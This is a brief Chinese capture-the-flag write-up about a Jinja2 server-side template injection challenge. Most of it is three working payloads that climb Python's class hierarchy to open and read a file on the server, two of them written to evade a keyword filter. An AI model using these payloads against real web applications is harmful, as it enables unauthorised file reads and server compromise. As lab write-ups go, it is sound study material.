该题考察SSTI注入
题目描述: 某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)
register的源码页面中存在flag路径
可以看到网站存在SSTI漏洞
构造POC尝试文件读取:
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
参数被过滤:
改参数:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
或
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %}
{% if c.__name__=='ca'+'tch_warnings' %}
{{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt','r')['re'+'ad']()}}
{% endif %}
{% endfor %}
得到flag